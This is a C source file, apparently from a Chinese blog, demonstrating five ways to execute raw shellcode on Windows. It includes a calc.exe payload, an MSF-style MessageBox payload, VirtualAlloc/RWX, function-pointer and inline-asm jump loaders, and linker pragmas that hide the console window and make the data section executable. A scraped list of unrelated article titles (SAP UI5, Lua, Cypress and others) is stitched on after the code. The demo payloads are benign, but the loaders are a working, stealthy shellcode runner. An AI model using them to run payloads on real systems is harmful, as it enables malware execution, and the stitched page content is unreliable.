//C语言执行shellcode的五种方法

#include

#include

//data段可读写

#pragma comment(linker, "/section:.data,RWE")

//不显示窗口

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment(linker, "/INCREMENTAL:NO")

//一段打开Windows计算器(calc.exe)的shellcode

unsigned char shellcode_calc[] =

"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"

"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"

"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"

"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"

"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"

"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"

"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"

"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"

"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"

"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"

"\xe4";

unsigned char shellcode[] =

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"

"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"

"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"

"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"

"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"

"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"

"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"

"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"

"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"

"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"

"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"

"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"

"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"

"\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"

"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58"

"\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"

"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89"

"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";

typedef void (__stdcall *CODE) ();

//http://rshell.blog.163.com/blog/static/41619170201110302937361/

//第一种方法

void RunShellCode_1()

{

PVOID p = NULL;

if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)

MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);

if (!(memcpy(p, shellcode, sizeof(shellcode))))

MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);

CODE code =(CODE)p;

code();

}

//第二种方法

void RunShellCode_2()

{

((void(*)(void))&shellcode)();

}

//第三种方法

void RunShellCode_3()

{

__asm

{

lea eax, shellcode;

jmp eax;

}

}

//第四种方法

void RunShellCode_4()

{

__asm

{

mov eax, offset shellcode;

jmp eax;

}

}

//第五种方法

void RunShellCode_5()

{

__asm

{

mov eax, offset shellcode;

_emit 0xFF;

_emit 0xE0;

}

}

void main()

{

//RunShellCode_1();

//RunShellCode_2();

//RunShellCode_3();

//RunShellCode_4();

RunShellCode_5();

}

c语言调用linux脚本,C语言执行shellcode的五种方法相关推荐

  1. asp 执行linux脚本,Shell.Application执行命令的五种方法小结

    当初老马写这个版本时,我测试过简繁两个2003版本的,当是是好用的.我猜测很可能与2003打了ms06014补丁有关.kyo在冰点论坛提出了解决方法,我今天下午研究了一下这个组件,发现它有5种方法可以 ...

  2. C语言执行shellcode的五种方法

    //C语言执行shellcode的五种方法 #include <windows.h> #include <stdio.h> //data段可读写 #pragma comment ...

  3. Lua移植到arm上 并实现在arm上 可以让lua脚本调c语言,C语言调用lua脚本

    Lua移植到arm上 并实现在arm上 可以让lua脚本调c语言,C语言调用lua脚本 首先参考http://wiki.chumby.com/index.php?title=Lua&print ...

  4. linux c语言乘法口诀,shell 脚本实现乘法口诀表的两种方法——shell与C语言

    shell 脚本实现乘法口诀表的两种方法--shell与C语言 话不多说直接给出代码(执行c语言时没有gcc编译器会报错的哦!): 1 #!/bin/bash 2 if [ $# -eq 0 ] 3 ...

  5. Python语言学习:基于python五种方法实现使用某函数名【func_01】的字符串格式('func_01')来调用该函数【func_01】执行功能

    Python语言学习:基于python五种方法实现使用某函数名[func_01]的字符串格式('func_01')来调用该函数[func_01]执行功能 目录 问题提出 代码五种设计思路 T1方法:e ...

  6. linux c语言 ppt,Linux下C语言编程.ppt

    Linux下C语言编程 Linux中C语言的重要性 Linux和C天生有不解之缘. Linux操作系统的内核主要是用C写的,另外Linux下的很多软件也是用C写的,特别是一些著名的服务软件,比如MyS ...

  7. linux 将新密码邮件发送,linux脚本实现自动发送和收取邮件的设置方法

    linux脚本实现自动发送和收取邮件的设置方法 更新时间:2013年05月11日 19:51:45   作者: 这篇文章主要是介绍linux下通过脚本自动发送和收取邮件的设置方法,有需要的朋友可以参考 ...

  8. Linux:检查当前运行级别的五种方法

    2019独角兽企业重金招聘Python工程师标准>>> 运行级就是Linux操作系统当前正在运行的功能级别.存在七个运行级别,编号从0到6.系统可以引导到任何给定的运行级别.运行级别 ...

  9. python自带的shell是什么-python中执行shell的两种方法总结

    一.使用python内置commands模块执行shell commands对Python的os.popen()进行了封装,使用SHELL命令字符串作为其参数,返回命令的结果数据以及命令执行的状态: ...

最新文章

  1. Java多线程- 线程池的基本使用和执行流程分析 - ThreadPoolExecutor
  2. wordpress 重新生成附件文件名
  3. ios 扑克牌效果轮播_iOS一行代码实现立体轮播图
  4. jmeter异步请求测试_使用JMeter对异步HTTP / REST服务进行压力/负载测试
  5. C++ Unicode和ANSII转换
  6. Graft货币(GRFT)结点搭建
  7. hdu4405 掷骰子走格子
  8. 2022年信息安全工程师考试知识点:网络安全防御
  9. 蓝桥杯练习题之圆的面积
  10. 实战!如何搭建一个完整的智能家居系统
  11. 【学习笔记】STM32hal库开发入门笔记
  12. 华为云mysql认证ssl_华为云SSL证书
  13. PS快速制作流血火焰和冰封字体
  14. python中class 'int'什么意思_#python3type(1)class,'int'为什么和python核心编程里的不一样?...
  15. 【营销获客一】消费金融大数据营销获客
  16. html+css+javascript代码编程规范之CSS
  17. Windows Vista Sp1 x86/x64 中文正式零售版下载
  18. TFlearn learning
  19. bat ren命令修改文件后缀名
  20. 计算机应用计算题(88)10,2018一级结构工程师《计算机应用基础》题库及答案(十)...

热门文章

  1. SAP UI5 应用开发教程之四十七 - 如何自定义 SAP UI5 字符串类型输入字段的校验逻辑试读版
  2. 使用 generator-easy-ui5 快速创建 SAP UI5 应用的工程结构
  3. SAP UI5 CSS 类 sapUiSmallMarginEnd 的工作和添加原理
  4. 如何在 Cypress 测试代码中屏蔽(Suppress)来自应用代码报出的错误消息
  5. 如何在移动设备上以开发模式访问SAP Spartacus
  6. SAP Commerce里Extension, Addon和Accelerator这三个名词的联系和区别
  7. Angular应用里的tsconfig.app.json
  8. SAP UI5应用里的列表处理
  9. SAP odata get metadata in QHD - still has cache logic
  10. 一个SAP开发人员的养蚕流水帐